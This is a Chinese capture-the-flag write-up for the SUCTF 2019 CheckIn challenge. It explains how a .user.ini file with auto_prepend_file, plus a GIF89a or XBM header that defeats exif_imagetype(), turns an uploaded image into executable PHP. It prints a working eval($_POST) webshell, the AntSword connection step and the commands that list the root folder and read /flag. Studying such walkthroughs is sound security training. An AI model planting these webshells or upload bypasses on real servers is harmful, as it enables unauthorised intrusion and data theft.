知识点:
题目复现链接:https://buuoj.cn/challenges#[SUCTF%202019]CheckIn
利用.user.ini
上传\隐藏后门
参考链接:user.ini文件构成的PHP后门
条件:
- 1、服务器脚本语言为PHP
- 2、服务器使用CGI/FastCGI模式
- 3、上传目录下要有可执行的php文件
实例:上传.user.ini
绕过黑名单检验
GIF89a //绕过exif_imagetype()
auto_prepend_file=a.jpg //指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。
auto_append_file=a.jpg //解析后进行包含
优势:跟.htaccess
后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess
只适用于apache
绕过exif_imagetype()
的奇技淫巧
#define width 20
#define height 10
采用xbm格式X Bit Map,绕过exif_imagetype()方法的检测,上传文件来解析。
在计算机图形学中,X Window系统使用X BitMap,一种纯文本二进制图像格式,用于存储X GUI中使用的光标和图标位图。
XBM数据由一系列包含单色像素数据的静态无符号字符数组组成,当格式被普遍使用时,XBM通常出现在标题.h文件中,每个图像在标题中存储一个数组。
也就是用c代码来标识一个xbm文件,前两个#defines指定位图的高度和宽度【以像素为单位,比如以下xbm文件:#define test_width 16
#define test_height 7
解题方法:
首先,构造一个.user.ini
文件,内容如下:然后构造一个a.jpg,内容如下:
GIF89a auto_prepend_file=a.jpg
然后构造一个a.jpg,内容如下:
1 GIF89a 2 <script language='php'> @eval($_POST['pass']);</script>
然后将两个文件分别上传到服务器上,拿到回显:
在这里可以看到 uploads/33c6f8457bd77fce0b109b4554e1a95c
对应的文件夹下面有两个文件,一个是 .user.ini, 还一个是 a.jpg ,当然,还有一个 index.php 。那就可以构造URL了并用蚁剑连接一下:原地址/uploads/adeee0c170ad4ffb110df0cde294aecd/index.ph
得出flag{877b66a3-cd3b-4a5b-b3c4-14c8e84c50c9}
注:本题连接问题蚁剑垃圾成功后打开不了文件,它会不时的清除文件,所以链接的不是很稳定,甚至有是时候连不上,但我们可以在网页执行命令。所以我第一次就是在页面执行了命令,找到了flag: 扫描根目录: a=var_dump(scandir("/")); ,我们可以可以看见一个叫flag的文件 打印: a=var_dump(file_get_contents("/flag"));